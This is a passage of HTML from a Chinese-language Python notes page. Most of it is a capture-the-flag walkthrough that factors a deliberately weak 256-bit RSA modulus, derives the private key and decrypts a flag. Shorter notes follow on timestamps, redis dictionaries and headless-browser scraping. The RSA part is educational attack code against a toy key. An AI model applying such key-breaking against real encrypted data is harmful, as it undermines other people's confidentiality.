class=\"k\">else</span>:\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"nv\">m</span>\n</code></pre></div>\n\n<p>看不懂这代码在干啥？我也看不懂，但没关系，直接用就行 这么多人点赞肯定是对的</p>\n<p>那现在就着手把这代码搬运到我们的py中咯：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">N</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"nv\">xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F</span>\n<span class=\"nv\">e</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span><span class=\"nv\">x10001</span>\n\n<span class=\"nv\">p</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">283194537446483890135816972554288437117</span>\n<span class=\"nv\">q</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">319567913424286672035093410391626922443</span>\n\n<span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">b</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"w\"> </span><span class=\"o\">==</span><span class=\"w\"> </span><span class=\"mi\">0</span>:\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">b</span>,<span class=\"w\"> </span><span class=\"mi\">0</span>,<span class=\"w\"> </span><span class=\"mi\">1</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>:\n<span class=\"w\">        </span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">y</span>,<span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">b</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"ss\">)</span>\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">b</span><span class=\"w\"> </span><span class=\"o\">//</span><span class=\"w\"> </span><span class=\"nv\">a</span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"nv\">y</span>,<span class=\"w\"> </span><span class=\"nv\">y</span><span class=\"ss\">)</span>\n\n<span class=\"nv\">def</span><span class=\"w\"> </span><span class=\"nv\">modinv</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">m</span><span class=\"ss\">)</span>:\n<span class=\"w\">    </span><span class=\"nv\">g</span>,<span class=\"w\"> </span><span class=\"nv\">x</span>,<span class=\"w\"> </span><span class=\"nv\">y</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">egcd</span><span class=\"ss\">(</span><span class=\"nv\">a</span>,<span class=\"w\"> </span><span class=\"nv\">m</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">g</span><span class=\"w\"> </span><span class=\"o\">!=</span><span class=\"w\"> </span><span class=\"mi\">1</span>:\n<span class=\"w\">        </span><span class=\"nv\">raise</span><span class=\"w\"> </span><span class=\"nv\">Exception</span><span class=\"ss\">(</span><span class=\"s1\">&#39;modular inverse does not exist&#39;</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">else</span>:\n<span class=\"w\">        </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">x</span><span class=\"w\"> </span><span class=\"o\">%</span><span class=\"w\"> </span><span class=\"nv\">m</span>\n\n<span class=\"nv\">d</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">modinv</span><span class=\"ss\">(</span><span class=\"nv\">e</span>,<span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">p</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"ss\">)</span><span class=\"o\">*</span><span class=\"ss\">(</span><span class=\"nv\">q</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"ss\">))</span>\n<span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"nv\">d</span><span class=\"ss\">)</span>\n</code></pre></div>\n\n<p>上述python将输出34458919248694250828820386546500026880096887166581679876896066449320377773297， 真是一个好大的d啊。。。</p>\n<h4 id=\"flagencint\">怎么把flag.enc当成一个int读入？<a class=\"headerlink\" href=\"#flagencint\" title=\"Permanent link\">&para;</a></h4>\n<p>试图用记事本打开flag.enc，乱码了；那用二进制形式打开flag.inc文件看看：\n<img alt=\"\" src=\"https://d.py3.io/img/15365186860.png\" /></p>\n<p>emmm一共32字节长的密文，直接读文件将得到bytes strig，怎么把它转为一个很大的整数呢？</p>\n<p>google关键词： python byte string to int</p>\n<p>参考：https://stackoverflow.com/questions/444591/convert-a-string-of-bytes-into-an-int-python</p>\n<p>人家给出了python3.2以后可以用int.from_bytes的方式，继续写我们的py咯：</p>\n<div class=\"codehilite\"><pre><span></span><code>encrypteddata = open(&#39;flag.enc&#39;,&#39;rb&#39;).read()\nc = int.from_bytes(encrypteddata, &#39;big&#39;)\nprint(c)\n</code></pre></div>\n\n<p>这里的&rsquo;big&rsquo;表示大端存放的方式，就是最重要的那一位是靠左边的</p>\n<p>插一句：通过询问其他大佬，我也折腾出了一种naive的方法——使用binascii模块先转为hex编码，然后hex按16字节转int:</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">encrypteddata</span> <span class=\"o\">=</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s1\">&#39;flag.enc&#39;</span><span class=\"p\">,</span><span class=\"s1\">&#39;rb&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">read</span><span class=\"p\">()</span>\n<span class=\"kn\">import</span> <span class=\"nn\">binascii</span>\n<span class=\"n\">c</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">binascii</span><span class=\"o\">.</span><span class=\"n\">b2a_hex</span><span class=\"p\">(</span><span class=\"n\">encrypteddata</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">(),</span><span class=\"mi\">16</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<h4 id=\"_11\">计算明文<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h4>\n<p>公式（密码学肯定要考的，所以再记一次咯）</p>\n<div class=\"codehilite\"><pre><span></span><code>m = c^d (mod n)\n</code></pre></div>\n\n<p>问题来了，d是个那么大的数，如果直接写一个：</p>\n<div class=\"codehilite\"><pre><span></span><code># 在python里**表示乘方\nm = (c**d)%n\n</code></pre></div>\n\n<p>果然运行这个py就卡死了，实际上并没有必要算出精确的c**d，我们需要调用快速的mod乘方的方法</p>\n<p>google关键词： python mod pow</p>\n<p>参考：https://stackoverflow.com/questions/32738637/calculate-mod-using-pow-function-python</p>\n<p>人家说pow函数就可以提供第3个参数，例如pow(6, 8, 5)就是 6^8 mod 5</p>\n<p>那就写代码咯(瞎写，C语言的pow需要#include <math.h> 那我就也从math导入吧)：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">math</span> <span class=\"kn\">import</span> <span class=\"nb\">pow</span>\n<span class=\"n\">m</span> <span class=\"o\">=</span> <span class=\"nb\">pow</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">,</span><span class=\"n\">d</span><span class=\"p\">,</span><span class=\"n\">n</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>然而命途多舛，果然报错：</p>\n<div class=\"codehilite\"><pre><span></span><code>Traceback (most recent call last):\n  File &quot;run.py&quot;, line 35, in &lt;module&gt;\n    m = pow(c,d,n)\nTypeError: pow expected 2 arguments, got 3\n</code></pre></div>\n\n<p>emmm&hellip; 奇了怪了，这是什么鬼嘛，说好的支持第三个参数呢，翻回去仔细看人家给的<a href=\"https://docs.python.org/3/library/functions.html#pow\">文档链接</a></p>\n<p>嗯？这文档的标题就是Built-in Functions，我懂了！ 支持第三个参数的pow函数是内置的那个，而不是math库提供的，删掉<code>from math import pow</code>这一句就好了</p>\n<p>我们的py又加上了两行：</p>\n<div class=\"codehilite\"><pre><span></span><code>m = pow(c,d,n)\nprint(m)\n</code></pre></div>\n\n<p>得到输出 4114174865819530012247735243997890458185276719507135882385278623252053258</p>\n<h3 id=\"flag\">明文这么一个大数 我要的flag呢？<a class=\"headerlink\" href=\"#flag\" title=\"Permanent link\">&para;</a></h3>\n<p>cy打开了他的笔记本 <a href=\"https://py3.io/Python.html#bytes\">https://py3.io/Python.html#bytes</a></p>\n<p>查到了 十六进制字符串转bytes字符串 和 拿到一个int转字符串 的方法：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">from</span> <span class=\"nn\">base64</span> <span class=\"kn\">import</span> <span class=\"n\">b16decode</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span> <span class=\"n\">b16decode</span><span class=\"p\">(</span> <span class=\"nb\">hex</span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"p\">)[</span><span class=\"mi\">2</span><span class=\"p\">:]</span><span class=\"o\">.</span><span class=\"n\">upper</span><span class=\"p\">()</span> <span class=\"p\">)</span> <span class=\"p\">)</span>\n</code></pre></div>\n\n<p>果然 又tm出错了：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">Traceback</span><span class=\"w\"> </span><span class=\"ss\">(</span><span class=\"nv\">most</span><span class=\"w\"> </span><span class=\"nv\">recent</span><span class=\"w\"> </span><span class=\"k\">call</span><span class=\"w\"> </span><span class=\"nl\">last</span><span class=\"ss\">)</span>:\n<span class=\"w\">  </span><span class=\"nv\">File</span><span class=\"w\"> </span><span class=\"s2\">&quot;run.py&quot;</span>,<span class=\"w\"> </span><span class=\"nv\">line</span><span class=\"w\"> </span><span class=\"mi\">37</span>,<span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"nv\">module</span><span class=\"o\">&gt;</span>\n<span class=\"w\">    </span><span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"w\"> </span><span class=\"nv\">b16decode</span><span class=\"ss\">(</span><span class=\"w\"> </span><span class=\"nv\">hex</span><span class=\"ss\">(</span><span class=\"nv\">m</span><span class=\"ss\">)</span>[<span class=\"mi\">2</span>:].<span class=\"nv\">upper</span><span class=\"ss\">()</span><span class=\"w\"> </span><span class=\"ss\">)</span><span class=\"w\"> </span><span class=\"ss\">)</span>\n<span class=\"w\">  </span><span class=\"nv\">File</span><span class=\"w\"> </span><span class=\"s2\">&quot;/usr/lib/python3.5/base64.py&quot;</span>,<span class=\"w\"> </span><span class=\"nv\">line</span><span class=\"w\"> </span><span class=\"mi\">276</span>,<span class=\"w\"> </span><span class=\"nv\">in</span><span class=\"w\"> </span><span class=\"nv\">b16decode</span>\n<span class=\"w\">    </span><span class=\"k\">return</span><span class=\"w\"> </span><span class=\"nv\">binascii</span>.<span class=\"nv\">unhexlify</span><span class=\"ss\">(</span><span class=\"nv\">s</span><span class=\"ss\">)</span>\n<span class=\"nv\">binascii</span>.<span class=\"nv\">Error</span>:<span class=\"w\"> </span><span class=\"nv\">Odd</span><span class=\"o\">-</span><span class=\"nv\">length</span><span class=\"w\"> </span><span class=\"nv\">string</span>\n</code></pre></div>\n\n<p>odd-length啥意思？奇数长度？对噢 十六进制字符串肯定要偶数长度才行（两个一组表示一个字节嘛） 那么就前面补个0咯</p>\n<p>py代码如下：（其实你也可以试试int.to_bytes方法）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">plaindata</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">hex</span><span class=\"ss\">(</span><span class=\"nv\">m</span><span class=\"ss\">)</span>[<span class=\"mi\">2</span>:].<span class=\"nv\">upper</span><span class=\"ss\">()</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">len</span><span class=\"ss\">(</span><span class=\"nv\">plaindata</span><span class=\"ss\">)</span><span class=\"o\">%</span><span class=\"mi\">2</span><span class=\"w\"> </span>:\n<span class=\"w\">    </span><span class=\"nv\">plaindata</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"s2\">&quot;0&quot;</span><span class=\"o\">+</span><span class=\"nv\">plaindata</span>\n<span class=\"nv\">print</span><span class=\"ss\">(</span><span class=\"nv\">b16decode</span><span class=\"ss\">(</span><span class=\"nv\">plaindata</span><span class=\"ss\">))</span>\n</code></pre></div>\n\n<p>输出：</p>\n<div class=\"codehilite\"><pre><span></span><code>b&#39;\\x02T\\x1b:(\\x02\\xb9\\x8c8\\xbb\\x00CTF{256i3_n0t_SAfe}\\n&#39;\n</code></pre></div>\n\n<p>啊哈！ 总算能搞定啦，flag到手！</p>\n<h3 id=\"_12\">完整的代码<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># parse public key: https://stackoverflow.com/questions/3116907/rsa-get-exponent-and-modulus-given-a-public-key</span>\n<span class=\"c1\"># PUBKEY=`grep -v -- ----- public.pem | tr -d &#39;\\n&#39;`</span>\n<span class=\"c1\"># echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i</span>\n<span class=\"c1\"># echo $PUBKEY | base64 -d | openssl asn1parse -inform DER -i -strparse 17</span>\n\n\n<span class=\"n\">n</span> <span class=\"o\">=</span> <span class=\"mh\">0xC8151EFEBB0C23FAA11022409C5A12E4A5B96984E6265B7BE7EEAAFBB004F51F</span>\n<span class=\"n\">e</span> <span class=\"o\">=</span> <span class=\"mh\">0x10001</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">n</span><span class=\"p\">)</span>\n<span class=\"c1\"># visit http://factordb.com/index.php?query=90499887424928873790510606439768063703452393541528122252967476339871041516831</span>\n<span class=\"n\">p</span> <span class=\"o\">=</span> <span class=\"mi\">283194537446483890135816972554288437117</span>\n<span class=\"n\">q</span> <span class=\"o\">=</span> <span class=\"mi\">319567913424286672035093410391626922443</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">egcd</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">b</span><span class=\"p\">):</span>\n    <span class=\"k\">if</span> <span class=\"n\">a</span> <span class=\"o\">==</span> <span class=\"mi\">0</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"p\">(</span><span class=\"n\">b</span><span class=\"p\">,</span> <span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"mi\">1</span><span class=\"p\">)</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span>\n        <span class=\"n\">g</span><span class=\"p\">,</span> <span class=\"n\">y</span><span class=\"p\">,</span> <span class=\"n\">x</span> <span class=\"o\">=</span> <span class=\"n\">egcd</span><span class=\"p\">(</span><span class=\"n\">b</span> <span class=\"o\">%</span> <span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">a</span><span class=\"p\">)</span>\n        <span class=\"k\">return</span> <span class=\"p\">(</span><span class=\"n\">g</span><span class=\"p\">,</span> <span class=\"n\">x</span> <span class=\"o\">-</span> <span class=\"p\">(</span><span class=\"n\">b</span> <span class=\"o\">//</span> <span class=\"n\">a</span><span class=\"p\">)</span> <span class=\"o\">*</span> <span class=\"n\">y</span><span class=\"p\">,</span> <span class=\"n\">y</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">modinv</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">m</span><span class=\"p\">):</span>\n    <span class=\"n\">g</span><span class=\"p\">,</span> <span class=\"n\">x</span><span class=\"p\">,</span> <span class=\"n\">y</span> <span class=\"o\">=</span> <span class=\"n\">egcd</span><span class=\"p\">(</span><span class=\"n\">a</span><span class=\"p\">,</span> <span class=\"n\">m</span><span class=\"p\">)</span>\n    <span class=\"k\">if</span> <span class=\"n\">g</span> <span class=\"o\">!=</span> <span class=\"mi\">1</span><span class=\"p\">:</span>\n        <span class=\"k\">raise</span> <span class=\"ne\">Exception</span><span class=\"p\">(</span><span class=\"s1\">&#39;modular inverse does not exist&#39;</span><span class=\"p\">)</span>\n    <span class=\"k\">else</span><span class=\"p\">:</span>\n        <span class=\"k\">return</span> <span class=\"n\">x</span> <span class=\"o\">%</span> <span class=\"n\">m</span>\n<span class=\"n\">d</span> <span class=\"o\">=</span> <span class=\"n\">modinv</span><span class=\"p\">(</span><span class=\"n\">e</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">p</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">)</span><span class=\"o\">*</span><span class=\"p\">(</span><span class=\"n\">q</span><span class=\"o\">-</span><span class=\"mi\">1</span><span class=\"p\">))</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">d</span><span class=\"p\">)</span>\n<span class=\"n\">encrypteddata</span> <span class=\"o\">=</span> <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s1\">&#39;flag.enc&#39;</span><span class=\"p\">,</span><span class=\"s1\">&#39;rb&#39;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">read</span><span class=\"p\">()</span>\n<span class=\"kn\">import</span> <span class=\"nn\">binascii</span>\n<span class=\"n\">c</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">binascii</span><span class=\"o\">.</span><span class=\"n\">b2a_hex</span><span class=\"p\">(</span><span class=\"n\">encrypteddata</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">(),</span><span class=\"mi\">16</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">)</span>\n<span class=\"n\">c</span> <span class=\"o\">=</span> <span class=\"nb\">int</span><span class=\"o\">.</span><span class=\"n\">from_bytes</span><span class=\"p\">(</span><span class=\"n\">encrypteddata</span><span class=\"p\">,</span> <span class=\"s1\">&#39;big&#39;</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">)</span>\n<span class=\"n\">m</span> <span class=\"o\">=</span> <span class=\"nb\">pow</span><span class=\"p\">(</span><span class=\"n\">c</span><span class=\"p\">,</span><span class=\"n\">d</span><span class=\"p\">,</span><span class=\"n\">n</span><span class=\"p\">)</span>\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"p\">)</span>\n<span class=\"kn\">from</span> <span class=\"nn\">base64</span> <span class=\"kn\">import</span> <span class=\"n\">b16decode</span>\n<span class=\"n\">plaindata</span> <span class=\"o\">=</span> <span class=\"nb\">hex</span><span class=\"p\">(</span><span class=\"n\">m</span><span class=\"p\">)[</span><span class=\"mi\">2</span><span class=\"p\">:]</span><span class=\"o\">.</span><span class=\"n\">upper</span><span class=\"p\">()</span>\n<span class=\"k\">if</span> <span class=\"nb\">len</span><span class=\"p\">(</span><span class=\"n\">plaindata</span><span class=\"p\">)</span><span class=\"o\">%</span><span class=\"mi\">2</span> <span class=\"p\">:</span>\n    <span class=\"n\">plaindata</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;0&quot;</span><span class=\"o\">+</span><span class=\"n\">plaindata</span>\n\n<span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"n\">b16decode</span><span class=\"p\">(</span><span class=\"n\">plaindata</span><span class=\"p\">))</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_13\">时间戳与字符串相互转换<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<p>import time</p>\n<p>得到当前时间戳： int(time.time())</p>\n<p>得到当前时间字符串：time.strftime(&ldquo;%Y-%m-%d %H:%M:%S&rdquo;)</p>\n<p>时间戳1381419600转字符串：time.strftime(&ldquo;%Y-%m-%d %H:%M:%S&rdquo;, time.localtime(1381419600))</p>\n<p>字符串&rdquo;2013-10-10 23:40:00&rdquo;转时间戳：int(time.mktime(time.strptime(&ldquo;2013-10-10 23:40:00&rdquo;,&rdquo;%Y-%m-%d %H:%M:%S&rdquo;)))</p>\n<hr />\n<h2 id=\"redis\">用redis存储字典<a class=\"headerlink\" href=\"#redis\" title=\"Permanent link\">&para;</a></h2>\n<p>假设存储一个用户名对应用户ID的字典，名称为USERS，例如{&ldquo;zhangsan&rdquo;:1, &ldquo;lisi&rdquo;:2}</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"kn\">import</span> <span class=\"nn\">redis</span>\n<span class=\"n\">r</span> <span class=\"o\">=</span> <span class=\"n\">redis</span><span class=\"o\">.</span><span class=\"n\">StrictRedis</span><span class=\"p\">(</span><span class=\"n\">host</span><span class=\"o\">=</span><span class=\"s1\">&#39;localhost&#39;</span><span class=\"p\">,</span> <span class=\"n\">port</span><span class=\"o\">=</span><span class=\"mi\">6379</span><span class=\"p\">,</span> <span class=\"n\">db</span><span class=\"o\">=</span><span class=\"mi\">1</span><span class=\"p\">)</span> <span class=\"c1\">#db参数可以理解为命名空间</span>\n<span class=\"k\">assert</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">ping</span><span class=\"p\">()</span> <span class=\"c1\"># 是否成功连上</span>\n\n<span class=\"n\">USERS</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"s2\">&quot;zhangsan&quot;</span><span class=\"p\">:</span><span class=\"mi\">1</span><span class=\"p\">,</span> <span class=\"s2\">&quot;lisi&quot;</span><span class=\"p\">:</span><span class=\"mi\">2</span><span class=\"p\">}</span>\n\n<span class=\"c1\"># 存储字典</span>\n<span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hmset</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">,</span> <span class=\"n\">USERS</span><span class=\"p\">)</span>\n\n<span class=\"c1\"># 获得已经存储的字典里面有哪些键，返回bytes的list</span>\n<span class=\"n\">KEYS</span> <span class=\"o\">=</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hkeys</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">)</span> \n\n<span class=\"c1\"># 获得整个字典并转换回原来的类型</span>\n<span class=\"n\">USERS1</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">():</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">j</span><span class=\"p\">)</span> <span class=\"k\">for</span> <span class=\"n\">i</span><span class=\"p\">,</span><span class=\"n\">j</span> <span class=\"ow\">in</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hgetall</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">items</span><span class=\"p\">()}</span>\n\n<span class=\"c1\"># 修改字典中一个key的value</span>\n<span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hset</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;zhangsan&quot;</span><span class=\"p\">,</span><span class=\"mi\">3</span><span class=\"p\">)</span>\n\n<span class=\"c1\"># 删除存储的字典，只能一个个删，先要hkeys获取有哪些键</span>\n<span class=\"n\">_</span><span class=\"o\">=</span><span class=\"p\">[</span><span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hdel</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">,</span> <span class=\"n\">key</span><span class=\"p\">)</span> <span class=\"k\">for</span> <span class=\"n\">key</span> <span class=\"ow\">in</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hkeys</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">)</span> <span class=\"p\">]</span>\n\n<span class=\"c1\"># 扫描式获得已经存储的字典里面有哪些键</span>\n<span class=\"c1\">## 如果字典里面存储了太多东西，执行KEYS会卡住整个redis，用hscan是更好的选择</span>\n<span class=\"c1\">## 这里先生成一个比较大的字典存进去</span>\n<span class=\"kn\">import</span> <span class=\"nn\">random</span><span class=\"o\">,</span> <span class=\"nn\">string</span>\n<span class=\"n\">randomstr</span> <span class=\"o\">=</span> <span class=\"k\">lambda</span> <span class=\"n\">n</span><span class=\"p\">:</span> <span class=\"s2\">&quot;&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">(</span><span class=\"n\">random</span><span class=\"o\">.</span><span class=\"n\">sample</span><span class=\"p\">(</span><span class=\"n\">string</span><span class=\"o\">.</span><span class=\"n\">ascii_letters</span><span class=\"p\">,</span> <span class=\"n\">n</span><span class=\"p\">))</span>\n<span class=\"n\">USERS</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"n\">randomstr</span><span class=\"p\">(</span><span class=\"mi\">10</span><span class=\"p\">):</span> <span class=\"n\">random</span><span class=\"o\">.</span><span class=\"n\">randint</span><span class=\"p\">(</span><span class=\"mi\">1</span><span class=\"p\">,</span><span class=\"mi\">10000</span><span class=\"p\">)</span> <span class=\"k\">for</span> <span class=\"n\">_</span> <span class=\"ow\">in</span> <span class=\"nb\">range</span><span class=\"p\">(</span><span class=\"mi\">10000</span><span class=\"p\">)}</span> <span class=\"c1\"># 生成一个1w条记录的字典</span>\n<span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hmset</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">,</span> <span class=\"n\">USERS</span><span class=\"p\">)</span> <span class=\"c1\"># 存进去</span>\n\n<span class=\"c1\">## 循环hscan</span>\n<span class=\"n\">cursor</span><span class=\"p\">,</span> <span class=\"n\">result</span> <span class=\"o\">=</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hscan</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">)</span>\n<span class=\"k\">while</span> <span class=\"n\">cursor</span><span class=\"p\">:</span>\n    <span class=\"n\">cursor</span><span class=\"p\">,</span> <span class=\"n\">tmp</span> <span class=\"o\">=</span> <span class=\"n\">r</span><span class=\"o\">.</span><span class=\"n\">hscan</span><span class=\"p\">(</span><span class=\"s2\">&quot;USERS&quot;</span><span class=\"p\">,</span> <span class=\"n\">cursor</span><span class=\"p\">)</span>\n    <span class=\"n\">result</span><span class=\"o\">.</span><span class=\"n\">update</span><span class=\"p\">(</span><span class=\"n\">tmp</span><span class=\"p\">)</span>\n\n<span class=\"n\">USERS2</span> <span class=\"o\">=</span> <span class=\"p\">{</span><span class=\"n\">i</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">():</span><span class=\"nb\">int</span><span class=\"p\">(</span><span class=\"n\">j</span><span class=\"p\">)</span> <span class=\"k\">for</span> <span class=\"n\">i</span><span class=\"p\">,</span><span class=\"n\">j</span> <span class=\"ow\">in</span> <span class=\"n\">result</span><span class=\"o\">.</span><span class=\"n\">items</span><span class=\"p\">()}</span> <span class=\"c1\">#从bytes转为原来的格式</span>\n<span class=\"k\">assert</span> <span class=\"n\">USERS</span><span class=\"o\">==</span><span class=\"n\">USERS2</span> <span class=\"c1\">#存进去的与取出来的应该相同</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"nexushd\">搬运种子 从北邮人搬运到NexusHD<a class=\"headerlink\" href=\"#nexushd\" title=\"Permanent link\">&para;</a></h2>\n<p>代码： <a href=\"../code/autoseed_byr2nhd.py\">code/autoseed_byr2nhd.py</a></p>\n<p>依赖于<a href=\"https://github.com/zjuchenyuan/EasyLogin\">EasyLogin</a>，以及 <code>pip3 install transmissionrpc python-resize-image</code></p>\n<p>运行需要提供byr和NHD的登录cookie，以及transmission连接信息</p>\n<hr />\n<h2 id=\"python-seleniumdocker-chrome-headless\">python selenium+Docker chrome headless爬复杂网页<a class=\"headerlink\" href=\"#python-seleniumdocker-chrome-headless\" title=\"Permanent link\">&para;</a></h2>\n<p>例子：阿里云所有域名价格页面 https://wanwang.aliyun.com/help/price.html</p>\n<p>从网络请求看出其价格接口有多个，而且较为复杂；那就不妨试试用selenium让chrome headless访问这个页面，加载渲染完成后我们再获取页面源代码，此时源代码里面就有了完整的价格数据</p>\n<p>运行环境：只需要Docker和Python3，无需桌面环境</p>\n<p>镜像参考：https://hub.docker.com/r/selenium/standalone-chrome/</p>\n<p>先跑起来容器呗，这样就运行了selenium server，主机暴露了一个6666端口，：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -d -p 6666:4444 -v /dev/shm:/dev/shm selenium/standalone-chrome\n</code></pre></div>\n\n<p>安装Python包：<code>pip3 install 